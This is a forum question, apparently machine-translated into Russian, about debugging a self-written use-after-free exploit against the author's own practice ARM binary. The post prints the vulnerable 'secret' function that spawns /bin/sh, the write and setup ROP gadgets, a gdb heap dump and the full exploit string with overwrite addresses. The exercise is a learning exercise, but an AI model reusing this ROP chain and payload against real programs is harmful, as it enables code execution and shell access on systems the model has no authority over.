Итак, я недавно начал работать над моим двоичным файлом, который уязвим для использования после освобождения.Я обнаружил, что слишком легко просто перейти к секрету ().Поэтому я добавил переменную в раздел _DATA и установил ее значение равным 0. Затем я добавил жестко закодированную проверку в секрете:
if(check == 0){
exit(0);
}
system("/bin/sh");
...
Я также добавил несколько «гаджетов настройки» в свой код.
Это мой "гаджет записи"
__asm__("str r0,[r1]");
, и это мой гаджет настройки для гаджета записи:
__asm__("pop {r0,r1,pc}");
Куча с моими данными на нем:
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000016
0x00000014 in ?? ()
(gdb) x/64wx 0x12edf0
0x12edf0: 0x41414141 0x42424242 0x43434343 0x44444444
0x12ee00: 0x45454545 0x46464646 0x47474747 0x48484848
0x12ee10: 0x0000bb8c 0xc0503149 0xbb800000 0xb96c0000
0x12ee20: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee30: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee40: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee50: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee60: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee70: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee80: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee90: 0x00000000 0x00000000 0x00000000 0x00000000
0x12eea0: 0x00000000 0x00000000 0x00000000 0x00000000
0x12eeb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x12eec0: 0x60000000 0x60000000 0x00000004 0x00000000
0x12eed0: 0x00000000 0x00000000 0x00000000 0x00000000
0x12eee0: 0x00000000 0x00000000 0x00000000 0x00000000
и вот моя строка эксплойта: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH\x8c\xbb\x00\x001111\x50\xc0\x00\x00\x80\xbb\x00\x00\x6c\xb9\x00\x00
Секрет:
0x0000b96c <secret+0>: 80 40 2d e9 push {r7, lr}
гаджет:
0x0000bb8c <gadget+0>: 03 80 bd e8 pop {r0, r1, pc}
0x00c050 это где моя переменнаяat
writeGagdet:
0x0000bb80 <writeGadget+4>: 00 00 81 e5 str r0, [r1]
Кто-нибудь знает, почему происходит сбой в 0x16, и как это исправить?Спасибо